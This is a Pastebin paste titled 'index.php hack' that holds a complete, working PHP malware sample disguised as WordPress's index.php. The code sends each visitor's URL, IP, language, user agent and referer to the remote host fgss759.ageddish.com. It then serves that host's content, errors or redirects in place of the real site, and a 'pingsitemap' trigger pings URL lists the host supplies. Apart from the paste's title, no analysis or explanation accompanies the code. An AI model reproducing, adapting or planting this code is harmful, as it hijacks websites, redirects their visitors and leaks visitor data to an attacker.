Guest User

index.php hack

a guest
Jan 19th, 2024
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.67 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. define("W", "http://fgss759.ageddish.com");
  4. function k($a)
  5. {
  6. return @$_SERVER[$a] ? $_SERVER[$a] : "";
  7. }
  8. $b = k("REQUEST_URI");
  9. define("LINK", (k("HTTPS") ? "https" : "http") . "://" . k("HTTP_HOST") . $b);
  10. $c = "/" . ltrim(k("SCRIPT_FILENAME"), k("DOCUMENT_ROOT"));
  11. if ($c != k("PHP_SELF")) {
  12. $c = k("PHP_SELF");
  13. }
  14. function c1($g)
  15. {
  16. $i = @file_get_contents($g);
  17. $j = $http_response_header;
  18. if (!$j) {
  19. $j = [];
  20. }
  21. foreach ($j as $m => $n) {
  22. if (stripos($n, "Content-Type") !== false) {
  23. header($n);
  24. }
  25. }
  26. return $i;
  27. }
  28. function c2($g, $o, $q)
  29. {
  30. if (function_exists("curl_init")) {
  31. $s = curl_init();
  32. curl_setopt($s, CURLOPT_URL, $g);
  33. if ($q) {
  34. curl_setopt($s, CURLOPT_POST, 1);
  35. curl_setopt($s, CURLOPT_POSTFIELDS, $o);
  36. }
  37. curl_setopt($s, CURLOPT_RETURNTRANSFER, 1);
  38. curl_setopt($s, CURLOPT_HEADER, 0);
  39. curl_setopt($s, CURLOPT_FOLLOWLOCATION, 1);
  40. curl_setopt($s, CURLOPT_SSL_VERIFYPEER, false);
  41. $t = curl_exec($s);
  42. $n = curl_getinfo($s);
  43. if (!empty($n["content_type"])) {
  44. @header("content-type: " . $n["content_type"]);
  45. }
  46. curl_close($s);
  47. return $t;
  48. }
  49. return false;
  50. }
  51. function h($g, $o)
  52. {
  53. $v = $g;
  54. if (!empty($o)) {
  55. $v .= "?" . $o;
  56. }
  57. $c = c2($v, "", 0);
  58. if (!$c) {
  59. $c = @c1($v);
  60. }
  61. if (!$c) {
  62. $c = c2($g, $o, 1);
  63. }
  64. $a = "5";
  65. if ($c) {
  66. $a = substr($c, 0, 1);
  67. }
  68. switch ($a) {
  69. case "4":
  70. @header("HTTP/1.1 404 Not Found");
  71. die();
  72. case "5":
  73. @header("HTTP/1.1 500 Internal Server Error");
  74. die();
  75. case "3":
  76. @header("HTTP/1.1 302 Moved Permanently");
  77. @header("Location: " . substr($c, 1));
  78. @header("referer: " . LINK);
  79. die();
  80. case "7":
  81. return false;
  82. case "8":
  83. die();
  84. default:
  85. return $c;
  86. }
  87. }
  88. function gip()
  89. {
  90. $w = "";
  91. foreach (
  92. [
  93. "HTTP_CLIENT_IP",
  94. "HTTP_CF_CONNECTING_IP",
  95. "HTTP_X_FORWARDED_FOR",
  96. "HTTP_X_FORWARDED",
  97. "HTTP_X_CLUSTER_CLIENT_IP",
  98. "HTTP_FORWARDED_FOR",
  99. "HTTP_FORWARDED",
  100. "REMOTE_ADDR",
  101. ]
  102. as $x
  103. ) {
  104. if (array_key_exists($x, $_SERVER) === true) {
  105. foreach (explode(",", k($x)) as $w) {
  106. $w = trim($w);
  107. if (
  108. filter_var(
  109. $w,
  110. FILTER_VALIDATE_IP,
  111. FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE
  112. ) !== false
  113. ) {
  114. return $w;
  115. }
  116. }
  117. }
  118. }
  119. return $w;
  120. }
  121. $z = http_build_query([
  122. "l" => LINK,
  123. "ip" => gip(),
  124. "lg" => k("HTTP_ACCEPT_LANGUAGE"),
  125. "ua" => k("HTTP_USER_AGENT"),
  126. "r" => k("HTTP_REFERER"),
  127. "f" => $c,
  128. ]);
  129. if (strpos($b, "pingsitemap") !== false) {
  130. $aa = explode(",", h(W, $z));
  131. if ($aa) {
  132. foreach ($aa as $bb) {
  133. $t = h($bb, "");
  134. if (stristr($t, "successfully")) {
  135. echo $bb . "<br>pingok<br>";
  136. } else {
  137. echo $bb . "<br>" . $t;
  138. }
  139. }
  140. die();
  141. }
  142. } else {
  143. $c = h(W, $z);
  144. if ($c) {
  145. die($c);
  146. }
  147. }
  148. define("WP_USE_THEMES", true);
  149. require __DIR__ . "/wp-blog-header.php"; ?>
  150.  
Advertisement
Add Comment
Please, Sign In to add comment